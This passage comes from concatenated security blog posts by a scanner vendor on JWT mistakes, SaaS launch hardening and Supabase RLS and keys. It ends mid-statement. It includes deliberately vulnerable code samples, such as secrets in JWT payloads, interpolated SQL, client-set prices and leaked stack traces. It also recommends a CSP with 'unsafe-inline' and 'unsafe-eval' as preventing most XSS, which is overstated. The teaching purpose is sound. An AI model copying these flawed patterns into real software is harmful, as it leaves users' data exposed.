JWTs are **encoded**, not **encrypted**. The payload is a base64url string that anyone can decode. It takes one line of code:

```typescript
// Anyone can read JWT payloads — no key needed
const payload = JSON.parse(
  Buffer.from(token.split('.')[1], 'base64url').toString()
);
```

If you're storing sensitive data in the payload, every proxy server, browser extension, log aggregator, and network observer along the path can read it.

### The Vulnerable Code

```typescript
// VULNERABLE: Sensitive data in the payload
const token = jwt.sign({
  userId: '123',
  email: 'user@example.com',
  ssn: '123-45-6789',           // Social security number in plaintext!
  creditCard: '4111111111111111', // Credit card in plaintext!
  internalRole: 'billing_admin',  // Internal role leaks system architecture
  dbConnectionString: 'postgres://...',  // Catastrophic leak
}, secret);
```

### The Fix

```typescript
// SECURE: Minimal claims — only what's needed for authorization
const token = jwt.sign({
  sub: '123',    // User ID (standard claim)
  role: 'user',  // Authorization role
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + (15 * 60),
}, secret, { algorithm: 'HS256' });

// Look up sensitive data server-side using the user ID
// Never put PII, secrets, or internal data in the token
```

Only include the minimum claims needed for authorization: a user identifier, a role, and the standard timing claims (`iat`, `exp`, `nbf`). Everything else should be fetched server-side using the user ID from the token. If you absolutely need encrypted claims, use JWE (JSON Web Encryption) instead of JWS (JSON Web Signature).

## Mistake #7: Not Invalidating Tokens on Password Change or Logout

JWTs are stateless by design. The server doesn't track active sessions. This means that when a user changes their password (because they suspect their account is compromised) or logs out, all previously issued tokens remain valid until they expire.

If the attacker already has a token, changing your password does nothing.

### The Vulnerable Code

```typescript
// VULNERABLE: Password change doesn't invalidate existing tokens
export async function POST(req: NextRequest) {
  const { currentPassword, newPassword } = await req.json();

  await db.users.updatePassword(user.id, newPassword);

  return NextResponse.json({ message: 'Password updated' });
  // All old tokens still work! Attacker keeps access.
}
```

### The Fix

```typescript
// SECURE: Track a token version per user, invalidate on password change
// Database: users table has a `tokenVersion` integer column

// When signing tokens, include the token version
const token = jwt.sign({
  sub: user.id,
  role: user.role,
  tokenVersion: user.tokenVersion,  // Current version from DB
}, secret, { algorithm: 'HS256', expiresIn: '15m' });

// When verifying, check the token version matches
async function verifyToken(token: string) {
  const payload = jwt.verify(token, secret, { algorithms: ['HS256'] });
  const user = await db.users.findById(payload.sub);

  if (payload.tokenVersion !== user.tokenVersion) {
    throw new Error('Token revoked');  // Old token — reject it
  }

  return payload;
}

// On password change or logout, increment the version
export async function POST(req: NextRequest) {
  const { currentPassword, newPassword } = await req.json();

  await db.users.updatePassword(user.id, newPassword);
  await db.users.increment(user.id, 'tokenVersion');  // Invalidates ALL existing tokens

  // Issue a new token with the updated version
  const newToken = jwt.sign({
    sub: user.id,
    role: user.role,
    tokenVersion: user.tokenVersion + 1,
  }, secret, { algorithm: 'HS256', expiresIn: '15m' });

  return NextResponse.json({ token: newToken });
}
```

Yes, this adds a database lookup on every request, which partly defeats the "stateless" benefit of JWTs. That's the tradeoff. For most applications, the security benefit far outweighs the performance cost. Alternatives include a short token expiration (making the revocation window small) or a server-side blocklist of revoked token IDs (`jti` claim) cached in Redis.

## JWT Security Best Practices Summary

Here's a quick-reference checklist:

- **Always use `verify()`, never `decode()`** for authorization decisions
- **Whitelist algorithms explicitly** — set `algorithms: ['RS256']` or `algorithms: ['HS256']`
- **Use RS256 or ES256** over HS256 when possible — asymmetric algorithms eliminate shared secret risks
- **Generate secrets with `crypto.randomBytes(64)`** — minimum 256 bits of entropy
- **Set short expiration times** — 15 minutes for access tokens, 7 days for refresh tokens
- **Keep payloads minimal** — user ID, role, and timing claims only
- **Implement token revocation** — version counter, blocklist, or short expiration with refresh rotation
- **Store tokens in httpOnly, Secure, SameSite cookies** — not localStorage
- **Rotate signing keys periodically** — use a JWKS endpoint with key IDs (`kid`) for zero-downtime rotation
- **Validate all standard claims** — `exp`, `iat`, `nbf`, `iss`, `aud`

## How CheckVibe Detects JWT Issues

CheckVibe's [JWT audit scanner](/blog/api-security-checklist) automatically checks your application for common JWT security vulnerabilities:

- **Weak algorithm detection** — flags tokens using `none`, `HS256` with short secrets, or deprecated algorithms
- **Missing expiration** — identifies tokens without `exp` claims or with excessively long lifetimes
- **Exposed tokens in client-side code** — scans JavaScript bundles and HTML for hardcoded JWT strings
- **Algorithm confusion risk** — detects JWKS endpoints that could be exploited for RS256/HS256 confusion attacks
- **Insecure token storage** — flags tokens stored in `localStorage` or passed via URL query parameters

These checks run as part of every scan alongside 36 other security checks covering [security headers](/blog/security-headers-complete-guide), [CORS misconfiguration](/blog/cors-misconfiguration-guide), [XSS vulnerabilities](/blog/find-xss-vulnerabilities), and more.

[Run a free security scan](https://checkvibe.dev) to see if your application has JWT vulnerabilities.

## Frequently Asked Questions

### Should I use JWTs or sessions?

It depends on your architecture. Server-side sessions are simpler and inherently support revocation — ending a session is just deleting a row. JWTs work better for distributed systems, microservices, and APIs where you need stateless authentication across multiple services. For a standard web application with a single backend, sessions are often the safer default. For SPAs calling APIs, JWTs with short expiration and refresh token rotation are the standard approach.

### How long should a JWT last?

Access tokens should last 15 minutes or less. Refresh tokens can last 7-30 days depending on your security requirements. For high-security applications (banking, healthcare), consider 5-minute access tokens with sliding refresh. The shorter the lifetime, the smaller the window an attacker has with a stolen token.

### Can JWTs be hacked?

JWTs themselves are cryptographically sound when implemented correctly. The vulnerabilities are in how developers *use* them: weak secrets, missing algorithm checks, no expiration, trusting decoded payloads. A properly configured JWT with a strong secret, whitelisted algorithms, short expiration, and proper verification is extremely difficult to forge.

### What is the safest JWT algorithm?

**ES256** (ECDSA with P-256 curve) is the current best choice. It's asymmetric (no shared secret), has smaller key sizes than RSA, and is faster to verify. **RS256** is also solid and more widely supported. Avoid HS256 in systems where the secret must be shared across multiple services — if any one service is compromised, all tokens can be forged.

### What is algorithm confusion in JWT?

Algorithm confusion (also called algorithm substitution) is an attack where the attacker changes the `alg` field in a JWT header from an asymmetric algorithm (like RS256) to a symmetric one (like HS256). If the server uses the same key material for both — which happens when the public key is used as the HMAC secret — the attacker can forge tokens using only the publicly available key. The fix is to always whitelist the expected algorithm in your verification code.

---

JWT security vulnerabilities are among the most common authentication flaws in modern web applications. The good news is that every vulnerability on this list has a straightforward fix. Whitelist your algorithms, use strong secrets, set short expirations, and always verify before you trust.

Want to know if your app is vulnerable? [CheckVibe scans for JWT issues](https://checkvibe.dev) alongside 36 other security checks — including everything covered in our [API security checklist](/blog/api-security-checklist) and our guide to [securing vibe-coded apps](/blog/how-to-secure-vibe-coded-app).


---

## SaaS Security Checklist Before Launch: The MVP Guide

*The security checklist for SaaS founders shipping their first product: auth, data protection, API security, payments and monitoring. No security team needed.*

Published: 2026-03-22 | Reading time: 15 min read
URL: https://checkvibe.dev/blog/saas-security-checklist-before-launch


You've built your SaaS MVP. It works. Users are signing up. But before you announce your launch on Product Hunt, Hacker News, or Twitter, there are security gaps that could cost you everything.

This isn't theoretical. IBM's Cost of a Data Breach Report puts the average breach cost for small businesses at $120,000. For a startup that hasn't hit product-market fit yet, that number is existential. One leaked database, one compromised payment flow, one exposed API key — and you're dealing with legal liability, customer churn, and a reputation crater before you've even started.

The good news: you don't need a security team or a six-figure budget. You need this checklist.

## Why MVP Security Matters

"We'll fix security later" is the most dangerous sentence in startup engineering. Here's why:

**You're handling real user data from day one.** The moment someone signs up, you're storing their email, password hash, and potentially payment information. You have a legal and ethical obligation to protect it.

**Compliance expectations are rising.** GDPR, CCPA, and PCI-DSS don't have a "startup exemption." If you process payments or store EU user data, the rules apply to you right now.

**Your first breach kills trust before you have any.** Big companies survive breaches because they have brand equity. You don't. If your early adopters get compromised, they won't come back. Neither will anyone they tell.

**Attackers target the weakest links.** Automated bots scan the entire internet for common vulnerabilities. They don't care that you're a two-person startup. If your login page is vulnerable to credential stuffing, they'll find it.

The startup security checklist below covers the 12 things that actually matter before launch. Each item includes practical code examples for Next.js and Supabase — the stack most indie hackers and vibe coders are shipping with today.

## The SaaS Security Checklist

### 1. Authentication: Lock the Front Door

Authentication is the first thing attackers probe. Get this right.

**Enable email confirmation.** Don't let users sign up with unverified emails. This prevents throwaway account abuse and ensures you can reach users if their account is compromised.

```typescript
// Supabase auth config — require email confirmation
const supabase = createClient(url, anonKey, {
  auth: {
    autoRefreshToken: true,
    persistSession: true,
  },
});

// Sign up with email confirmation
const { data, error } = await supabase.auth.signUp({
  email: 'user@example.com',
  password: 'strongPassword123!',
  options: {
    emailRedirectTo: `${origin}/auth/callback`,
  },
});
```

**Enforce strong passwords.** Minimum 8 characters. Supabase handles hashing with bcrypt, but you need to validate password strength on the client side before submission.

**Manage sessions properly.** Use short-lived access tokens (the default 1-hour JWT in Supabase) with refresh tokens. Never store JWTs in localStorage — use httpOnly cookies instead.

```typescript
// Next.js middleware — verify session on every request
import { createServerClient } from '@supabase/ssr';
import { NextResponse, type NextRequest } from 'next/server';

export async function middleware(request: NextRequest) {
  const response = NextResponse.next();
  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll: () => request.cookies.getAll(),
        setAll: (cookies) => {
          cookies.forEach(({ name, value, options }) => {
            response.cookies.set(name, value, options);
          });
        },
      },
    }
  );

  const { data: { user } } = await supabase.auth.getUser();

  if (!user && request.nextUrl.pathname.startsWith('/dashboard')) {
    return NextResponse.redirect(new URL('/login', request.url));
  }

  return response;
}
```

### 2. Authorization: RLS on Every Table

Authentication tells you *who* the user is. Authorization tells you *what they can access*. In Supabase, this means Row Level Security.

Every table in your public schema must have RLS enabled. No exceptions. A table without RLS is accessible to anyone with your anon key — which is public.

```sql
-- Enable RLS on all your tables
ALTER TABLE profiles ENABLE ROW LEVEL SECURITY;
ALTER TABLE projects ENABLE ROW LEVEL SECURITY;
ALTER TABLE subscriptions ENABLE ROW LEVEL SECURITY;

-- Users can only read their own data
CREATE POLICY "Users read own data"
  ON projects FOR SELECT
  USING (auth.uid() = user_id);

-- Users can only modify their own data
CREATE POLICY "Users update own data"
  ON projects FOR UPDATE
  USING (auth.uid() = user_id)
  WITH CHECK (auth.uid() = user_id);
```

Check which tables are missing RLS:

```sql
SELECT schemaname, tablename, rowsecurity
FROM pg_tables
WHERE schemaname = 'public' AND rowsecurity = false;
```

If this query returns any rows, you have exposed tables. Fix them before launch. For a deeper dive, see our [Supabase security checklist](/blog/supabase-security-checklist).

### 3. HTTPS Everywhere

This is non-negotiable. Every page, every API call, every asset must be served over HTTPS.

**Get an SSL certificate.** If you're on Vercel or Netlify, this is automatic. If you're self-hosting, use Let's Encrypt.

**Enable HSTS.** HTTP Strict-Transport-Security tells browsers to always use HTTPS, even if the user types `http://`.

```typescript
// next.config.ts — add HSTS header
const nextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Strict-Transport-Security',
            value: 'max-age=63072000; includeSubDomains; preload',
          },
        ],
      },
    ];
  },
};
```

**Eliminate mixed content.** One `http://` image or script on an HTTPS page and the browser shows a warning. Audit every asset URL.

### 4. Security Headers

Security headers are the highest-impact, lowest-effort security measure you can add. They tell browsers how to behave and block entire categories of attacks.

```typescript
// next.config.ts — security headers
{
  source: '/(.*)',
  headers: [
    {
      key: 'Content-Security-Policy',
      value: "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://*.supabase.co https://api.stripe.com; frame-ancestors 'none';",
    },
    {
      key: 'X-Frame-Options',
      value: 'DENY',
    },
    {
      key: 'X-Content-Type-Options',
      value: 'nosniff',
    },
    {
      key: 'Referrer-Policy',
      value: 'strict-origin-when-cross-origin',
    },
    {
      key: 'Permissions-Policy',
      value: 'camera=(), microphone=(), geolocation=()',
    },
  ],
}
```

The `Content-Security-Policy` header alone prevents most XSS attacks by controlling which scripts can execute on your page. `X-Frame-Options: DENY` blocks clickjacking. `X-Content-Type-Options: nosniff` prevents MIME-type sniffing attacks.

For a complete walkthrough, see our [security headers guide](/blog/security-headers-complete-guide).

### 5. Input Validation on Every Endpoint

Never trust client input. Validate every field, on every endpoint, on the server side. Client-side validation is for UX — server-side validation is for security.

```typescript
// Validate input with Zod on your API route
import { z } from 'zod';

const CreateProjectSchema = z.object({
  name: z.string().min(1).max(100).trim(),
  url: z.string().url().max(2048),
  description: z.string().max(500).optional(),
});

export async function POST(req: NextRequest) {
  const body = await req.json();
  const result = CreateProjectSchema.safeParse(body);

  if (!result.success) {
    return NextResponse.json(
      { error: 'Invalid input', details: result.error.flatten() },
      { status: 400 }
    );
  }

  // Use result.data — it's validated and typed
  const { name, url, description } = result.data;
}
```

Validate UUIDs, email formats, URL schemes, and numeric ranges. Reject unexpected fields. Cap string lengths. This single practice prevents entire classes of injection attacks.

### 6. Protect Against SQL Injection, XSS, and CSRF

These are the OWASP Top 10 staples, and they're still the most exploited vulnerabilities on the web.

**SQL injection.** If you're using Supabase's client library or an ORM, you're mostly safe — queries are parameterized. But if you ever write raw SQL, use parameterized queries:

```typescript
// Bad — vulnerable to SQL injection
const { data } = await supabase.rpc('search_users', {
  query: `SELECT * FROM users WHERE name = '${userInput}'`
});

// Good — parameterized query
const { data } = await supabase
  .from('users')
  .select()
  .ilike('name', `%${userInput}%`);
```

**XSS (Cross-Site Scripting).** React escapes rendered content by default, but `dangerouslySetInnerHTML` bypasses that. Never use it with user input. Sanitize any HTML you must render with a library like DOMPurify.

**CSRF (Cross-Site Request Forgery).** Validate the `Origin` header on state-changing requests:

```typescript
export async function POST(req: NextRequest) {
  const origin = req.headers.get('origin');
  const allowedOrigins = ['https://yourdomain.com'];

  if (!origin || !allowedOrigins.includes(origin)) {
    return NextResponse.json({ error: 'Forbidden' }, { status: 403 });
  }

  // Proceed with the request
}
```

### 7. Secure Your Stripe Integration

Payment security is where mistakes get expensive. Two rules:

**Always verify webhook signatures.** Never trust a webhook payload without verifying it came from Stripe.

```typescript
import Stripe from 'stripe';

export async function POST(req: NextRequest) {
  const body = await req.text();
  const signature = req.headers.get('stripe-signature');

  if (!signature) {
    return NextResponse.json({ error: 'Missing signature' }, { status: 400 });
  }

  let event: Stripe.Event;
  try {
    event = stripe.webhooks.constructEvent(
      body,
      signature,
      process.env.STRIPE_WEBHOOK_SECRET!
    );
  } catch (err) {
    return NextResponse.json({ error: 'Invalid signature' }, { status: 400 });
  }

  // Now you can trust event.data
}
```

**Never trust client-side amounts.** Prices must come from your server or from Stripe's catalog. If a user can set their own price by manipulating a request, they will.

```typescript
// Bad — price from client
const session = await stripe.checkout.sessions.create({
  line_items: [{ price_data: { unit_amount: req.body.price }, quantity: 1 }],
});

// Good — price from Stripe catalog
const session = await stripe.checkout.sessions.create({
  line_items: [{ price: 'price_1ABC123', quantity: 1 }],
  mode: 'subscription',
});
```

### 8. API Rate Limiting

Without rate limiting, a single attacker can brute-force your login, exhaust your database connections, or rack up your Stripe API bill.

Implement sliding-window rate limiting on sensitive endpoints:

```typescript
// Simple in-memory rate limiter (use Redis in production)
const rateLimitMap = new Map<string, { count: number; resetAt: number }>();

function checkRateLimit(key: string, limit: number, windowMs: number): boolean {
  const now = Date.now();
  const entry = rateLimitMap.get(key);

  if (!entry || now > entry.resetAt) {
    rateLimitMap.set(key, { count: 1, resetAt: now + windowMs });
    return true;
  }

  if (entry.count >= limit) {
    return false; // Rate limited
  }

  entry.count++;
  return true;
}

// Usage in an API route
export async function POST(req: NextRequest) {
  const ip = req.headers.get('x-forwarded-for') ?? 'unknown';

  if (!checkRateLimit(ip, 5, 60_000)) {
    return NextResponse.json(
      { error: 'Too many requests' },
      { status: 429 }
    );
  }

  // Process the request
}
```

Apply rate limiting to: login, signup, password reset, checkout, and any endpoint that hits external APIs. For a comprehensive approach, see our [API security checklist](/blog/api-security-checklist).

### 9. Keep Secrets Out of Client Bundles

This is one of the most common mistakes we see when scanning web apps. API keys, database connection strings, and service tokens end up in your JavaScript bundle where anyone can extract them.

**Rules for Next.js environment variables:**

- `NEXT_PUBLIC_` prefix = visible to the browser. Only use this for truly public values (Supabase anon key, Stripe publishable key).
- Everything else stays server-only. Access it only in API routes, server components, and middleware.

```bash
# .env.local
# Public — safe to expose
NEXT_PUBLIC_SUPABASE_URL=https://xxx.supabase.co
NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJ...

# Private — never in the browser
SUPABASE_SERVICE_ROLE_KEY=eyJ...
STRIPE_SECRET_KEY=sk_live_...
STRIPE_WEBHOOK_SECRET=whsec_...
DATABASE_URL=postgresql://...
```

**Audit your bundle.** Run `next build` and search the `.next` output for anything that looks like a secret. If you find your service role key in there, you have a critical vulnerability.

### 10. Dependency Audit

Your app is built on hundreds of npm packages. Each one is a potential attack vector.

```bash
# Check for known vulnerabilities
npm audit

# Fix what you can automatically
npm audit fix

# Check for outdated packages
npm outdated
```

Run `npm audit` before every launch and set up Dependabot or Renovate for automated pull requests when vulnerabilities are disclosed. Pay special attention to transitive dependencies — the packages your packages depend on.

Lock your dependencies with `package-lock.json` and commit it to version control. This prevents supply chain attacks where a malicious version of a package gets installed because your version range was too permissive.

### 11. Error Handling: Don't Leak Stack Traces

A stack trace in production tells an attacker your framework version, file structure, database schema, and which libraries you use. That's a roadmap for exploitation.

```typescript
// Bad — leaks internal details
export async function GET(req: NextRequest) {
  try {
    const data = await fetchSensitiveData();
    return NextResponse.json(data);
  } catch (error) {
    return NextResponse.json(
      { error: error.message, stack: error.stack },
      { status: 500 }
    );
  }
}

// Good — generic error to client, detailed log to server
export async function GET(req: NextRequest) {
  try {
    const data = await fetchSensitiveData();
    return NextResponse.json(data);
  } catch (error) {
    console.error('Data fetch failed:', error);
    return NextResponse.json(
      { error: 'Something went wrong' },
      { status: 500 }
    );
  }
}
```

This applies to login and signup too. Don't return "user not found" vs. "wrong password" — that tells attackers which emails are registered. Return a generic "Invalid credentials" for both cases.

### 12. Automated Security Scanning

You've gone through 11 items manually. But security isn't a one-time task. New vulnerabilities are discovered daily. Dependencies get compromised. Developers push code that accidentally disables a security header.

Automated scanning catches what manual checklists miss. [CheckVibe](https://checkvibe.dev) runs 36 security checks against your live application — covering everything in this checklist and more:

- SSL/TLS configuration and certificate validity
- Security headers (CSP, HSTS, X-Frame-Options, and more)
- Exposed API keys and secrets in your client bundle
- XSS, SQL injection, and CSRF vulnerabilities
- Open redirect and CORS misconfiguration
- Cookie security flags
- Dependency vulnerabilities
- Authentication and session management issues

Run a scan before launch. Fix the critical and high-severity findings. Set up scheduled monitoring to catch regressions after every deployment.

## What to Skip (For Now)

Not everything matters at the MVP stage. Here's what you can defer until you have revenue, traction, and enterprise customers asking for it:

**SOC 2 compliance.** This is a lengthy, expensive audit process. No one expects it from a pre-revenue startup. When B2B customers start requesting it, that's the signal.

**Penetration testing.** A professional pentest costs $5,000-$30,000. At the MVP stage, automated scanning covers 90% of what a pentest would find. Save this for when you're processing significant volume.

**Web Application Firewall (WAF).** Cloudflare's free tier includes basic DDoS protection, which is enough. A full WAF setup adds complexity you don't need yet.

**Bug bounty program.** You need dedicated resources to triage and respond to reports. Table this until you have a security-focused engineer on the team.

**Advanced threat detection.** Log aggregation, SIEM tools, and anomaly detection are valuable at scale. At the MVP stage, basic error logging and Stripe webhook monitoring are sufficient.

Focus on the 12 items above. They cover the vulnerabilities that actually get exploited in the wild against early-stage products.

## The 5-Minute Launch Security Check

Short on time? Here's the minimum viable security check before you hit publish:

1. **Run a [CheckVibe scan](https://checkvibe.dev)** against your production URL.
2. **Fix every critical finding.** These are the vulnerabilities that can be exploited today with minimal effort.
3. **Fix high-severity findings.** These are exploitable but may require more specific conditions.
4. **Review the medium findings** and fix what you can. Schedule the rest for your next sprint.
5. **Deploy and set up monitoring.** Enable weekly automated scans so you catch regressions.

That's it. Five minutes to identify the gaps, a few hours to fix the critical ones. Your users deserve at least that much.

## FAQ

### Do I need SOC 2 for an MVP?

No. SOC 2 is a compliance framework designed for enterprise SaaS. It requires months of preparation, policy documentation, and an expensive third-party audit. No customer expects SOC 2 from a startup that launched last week. Focus on the technical fundamentals in this checklist. When enterprise buyers start asking for SOC 2 in their procurement questionnaires, that's when you invest in it.

### What security should I have before charging customers?

At minimum: HTTPS everywhere, verified Stripe webhooks, RLS on every database table, input validation on every endpoint, and no secrets in your client bundle. If you're charging people money, you need to protect their payment data and personal information. The 12 items in this checklist are your baseline. If you can't check them all off, fix the gaps before you start processing payments.

### How do I secure Stripe webhooks?

Three steps. First, always verify the webhook signature using `stripe.webhooks.constructEvent()` with your webhook signing secret. Second, check for idempotency — store processed event IDs and skip duplicates, because Stripe retries failed deliveries. Third, return a `200` status only after your business logic succeeds. If you return `200` before processing and then crash, Stripe won't retry and you'll have a payment without a subscription activation. See the code example in item 7 above.

### Is automated scanning enough?

Automated scanning catches the vast majority of common vulnerabilities — misconfigured headers, exposed secrets, missing RLS policies, injection flaws, and insecure dependencies. It's the right tool for the MVP stage. But it has limits. It can't understand your business logic, detect authorization bypasses in complex workflows, or find vulnerabilities that require chained exploitation. As you grow, pair automated scanning with manual code review and, eventually, professional penetration testing.

## Ship Secure, Ship Fast

The startup security checklist above isn't about being paranoid. It's about being professional. Your users trust you with their data, their money, and their time. The 12 items in this checklist are the minimum bar for earning that trust.

You don't need to be perfect. You need to be better than the automated bots scanning the internet for low-hanging fruit. Run through this checklist, fix what you find, and set up monitoring to catch what you miss.

**Ready to check your security posture?** [Run a free scan with CheckVibe](https://checkvibe.dev) and see exactly where your SaaS stands before launch. 36 security checks. Results in under a minute. No security team required.

For more in-depth guides, check out:
- [API Security Checklist: 12 Things to Check Before Going Live](/blog/api-security-checklist)
- [Security Headers Complete Guide](/blog/security-headers-complete-guide)
- [How to Secure Your Vibe-Coded App](/blog/how-to-secure-vibe-coded-app)
- [Supabase Security Checklist](/blog/supabase-security-checklist)


---

## Supabase Security Checklist: 15 Things to Check Before Launch

*The complete Supabase security checklist: RLS, API keys, auth hardening, storage policies and edge functions, with code examples and automated scanning.*

Published: 2026-03-22 | Reading time: 25 min read
URL: https://checkvibe.dev/blog/supabase-security-checklist


Supabase is secure at the platform level, but your app is only as secure as your configuration. Two things decide it: Row Level Security enabled with correct policies on every table, and your secret key kept server-side. Get those wrong and your database is effectively public — the client key is meant to be public by design.

The failure mode is almost always the same. Developers ship fast, RLS gets forgotten on a new table, and anyone who opens DevTools can read the whole table through the auto-generated REST API. This checklist covers the 15 things to verify before your Supabase-powered app goes live.

## Is Supabase Safe?

Yes — with an important qualifier. Supabase runs on PostgreSQL with TLS in transit, encryption at rest, SOC 2 Type II compliance, and a hardened auth service. The platform itself is not the weak link.

What breaks is the shared-responsibility boundary. Supabase exposes your Postgres schema directly to the internet through PostgREST, which means **your database access control *is* your application access control**. There is no application server in between doing the filtering for you unless you put one there.

Look at how Supabase apps actually get breached and you find the same three causes, none of them platform flaws:

1. **RLS was never enabled on a table.** The table ships wide open through the REST API. This is the single most common cause.
2. **RLS was enabled, then defeated by a permissive policy.** Someone hit a bug, wrote `USING (true)` to unblock themselves, and shipped it.
3. **The secret key leaked into the client.** Either bundled directly, or exposed through a server route that proxies arbitrary queries with elevated privileges.

So the honest answer: Supabase is safe when RLS is on and your policies are correct. It is dangerously unsafe when they are not, and it fails open rather than closed — a missing policy on a table without RLS means "everyone can read this," not "nobody can." You can check the RLS side of this in about a minute with the [free Supabase RLS checker](/free-supabase-rls-checker).

## Supabase Keys Explained

Key confusion causes real breaches, and there are now two generations of keys in circulation. Get this straight before anything else.

### Legacy keys: `anon` and `service_role`

Projects created before Supabase introduced the new format use two JWT-formatted keys, both signed with your project's JWT secret:

| Key | Ships to the browser? | Respects RLS? |
| --- | --- | --- |
| `anon` | Yes — public by design | Yes, via the `anon` / `authenticated` Postgres roles |
| `service_role` | **Never** | No — it holds `BYPASSRLS` and skips every policy |

The `anon` key is not a secret. It is in your JavaScript bundle, and Supabase intends it to be. It only grants what your RLS policies grant. The `service_role` key is the opposite: per Supabase's docs it uses the Postgres `BYPASSRLS` attribute, "skipping any and all Row Level Security policies you attach." A leaked `service_role` key is a full database compromise.

### New keys: `sb_publishable_...` and `sb_secret_...`

Newer projects use a clearer format that makes the safe/unsafe split obvious from the prefix:

```bash
# Safe to expose — web pages, mobile apps, CLIs, source code
sb_publishable_xxxxxxxxxxxxxxxxxxxxxx

# Backend only — servers, Edge Functions, secured admin APIs
sb_secret_xxxxxxxxxxxxxxxxxxxxxxxxxxxx
```

The semantics map one-to-one onto the legacy pair: publishable behaves like `anon` (RLS applies), secret behaves like `service_role` (RLS is bypassed). The practical improvements are that the prefix is self-documenting, secret keys can be created and deleted individually, and secret keys are no longer derived from the JWT signing key — Supabase's docs note that publishable and secret keys "no longer are based on the JWT signing key and can be independently managed."

Supabase's docs state the legacy `anon` and `service_role` keys will be deprecated by the end of 2026. Creating the new keys adds them alongside the old ones without breaking anything, so you can migrate incrementally.

### Which key goes where

```typescript
// Browser / client components — publishable or anon key
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_PUBLISHABLE_KEY! // or ..._ANON_KEY
);

// Server-only: route handlers, server actions, Edge Functions, cron
// NOTE: no NEXT_PUBLIC_ prefix. Ever.
const admin = createClient(
  process.env.SUPABASE_URL!,
  process.env.SUPABASE_SECRET_KEY!, // or SUPABASE_SERVICE_ROLE_KEY
  { auth: { persistSession: false } }
);
```

A useful rule: if a key can bypass RLS, it must never appear in any file that could be imported by a client component. In Next.js, add `import 'server-only'` at the top of the module that reads it — the build then fails instead of silently shipping the key.

### Rotating keys

- **New-format secret keys.** Create a replacement in **Settings > API Keys** in the Dashboard, deploy it, then delete the compromised one. Supabase warns that deleting a secret key is irreversible.
- **Legacy keys.** They stay valid until you explicitly disable them. The supported path is to create publishable and secret keys alongside them, migrate your code, then disable the legacy pair. If you revoke the legacy JWT secret, Supabase's docs say you must also disable `anon` and `service_role` to keep a consistent setup.
- **JWT signing keys.** Rotating a signing key makes Auth issue new access tokens immediately while non-expired tokens keep working, so nobody is forcibly signed out. The old symmetric JWT-secret path did sign everyone out — another reason to move off it.

Rotate immediately if a secret key ever touched a client bundle, a public repo, a CI log, a screenshot, or a support ticket. Assume anything committed to git is compromised even after a force-push.

## Why Supabase Security Matters

Every item in the checklist below flows from three facts about how Supabase is wired. Keep them in front of you as you work through it:

1. **Your client key is public.** The `anon` key (or `sb_publishable_...` on newer projects) ships in your JavaScript bundle. Anyone can see it. It is not a secret and was never meant to be.
2. **RLS is your primary defense.** Because that public key gives direct database access via PostgREST, Row Level Security policies are what stand between your data and the internet.
3. **The privileged key bypasses everything.** `service_role` (or `sb_secret_...`) ignores RLS and every policy you write. If it leaks, game over.

Miss any one of them and the rest of your hardening does not matter.

## The Checklist

### 1. Enable RLS on Every Table

Supabase creates new tables with RLS disabled. This means any authenticated user (or anyone with your anon key) can read, insert, update, and delete every row.

```sql
-- Check which tables have RLS disabled
SELECT schemaname, tablename, rowsecurity
FROM pg_tables
WHERE schemaname = 'public' AND rowsecurity = false;

-- Enable RLS on a table
ALTER TABLE profiles ENABLE ROW LEVEL SECURITY;
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
ALTER TABLE documents ENABLE ROW LEVEL SECURITY;
```

Do this for every table in your `public` schema. No exceptions. Even lookup tables and config tables should have RLS enabled with appropriate read policies.

### 2. Write Restrictive RLS Policies

Enabling RLS without adding policies locks the table down completely (only service_role can access it). That is actually the safest default. Then add policies for exactly what you need:

```sql
-- Users can only read their own profiles
CREATE POLICY "Users read own profile"
  ON profiles FOR SELECT
  USING (auth.uid() = id);

-- Users can only update their own profile
CREATE POLICY "Users update own profile"
  ON profiles FOR UPDATE
  USING (auth.uid() = id)
  WITH CHECK (auth.uid() = id);

-- Users can read their own orders
CREATE POLICY "Users read own orders"
  ON orders FOR SELECT
  USING (auth.uid() = user_id);

-- Users can insert orders only for themselves
CREATE POLICY "Users create own orders"
  ON orders FOR INSERT
  WITH CHECK (auth.uid() = user_id);
```

The `USING` clause filters which rows you can see. The `WITH CHECK` clause validates what you can write. Always include both for `UPDATE` policies — a missing `WITH CHECK` lets users reassign rows to other users.

For multi-tenant apps, "own rows" is not enough — you need tenant isolation, where a user sees every row belonging to their organization and nothing belonging to another. The naive version queries the membership table directly inside the policy, which triggers infinite recursion the moment that table has RLS of its own. Use a `SECURITY DEFINER` helper instead:

```sql
-- Helper runs as the definer, so it is not re-filtered by RLS on org_members
CREATE OR REPLACE FUNCTION public.user_org_ids()
RETURNS setof uuid
LANGUAGE sql
SECURITY DEFINER
SET search_path = public
STABLE
AS $$
  SELECT org_id FROM org_members WHERE user_id = auth.uid();
$$;

-- Tenant isolation: read anything in an org you belong to
CREATE POLICY "Members read org documents"
  ON documents FOR SELECT
  TO authenticated
  USING (org_id IN (SELECT public.user_org_ids()));

-- Writes must land in an org you belong to — and be stamped with your own id
CREATE POLICY "Members create org documents"
  ON documents FOR INSERT
  TO authenticated
  WITH CHECK (
    org_id IN (SELECT public.user_org_ids())
    AND created_by = (SELECT auth.uid())
  );
```

Two details worth copying from those policies:

- **Always name the role with `TO authenticated`.** Without it, the policy is also evaluated for the `anon` role on every anonymous request — wasted work, and one more path to reason about.
- **Wrap `auth.uid()` in a subselect: `(SELECT auth.uid())`.** Postgres then evaluates it once per query as an InitPlan instead of once per row. On a large table this is the difference between a policy that scales and one that times out.

Test every policy before you trust it. In the SQL Editor you can impersonate a user by setting the request claims and switching roles:

```sql
-- Test as an authenticated user
SET request.jwt.claims = '{"sub": "user-uuid-here", "role": "authenticated"}';
SET role = 'authenticated';

-- Should return only this user's rows
SELECT * FROM documents;

-- Should fail: writing into an org you do not belong to
INSERT INTO documents (org_id, created_by, title)
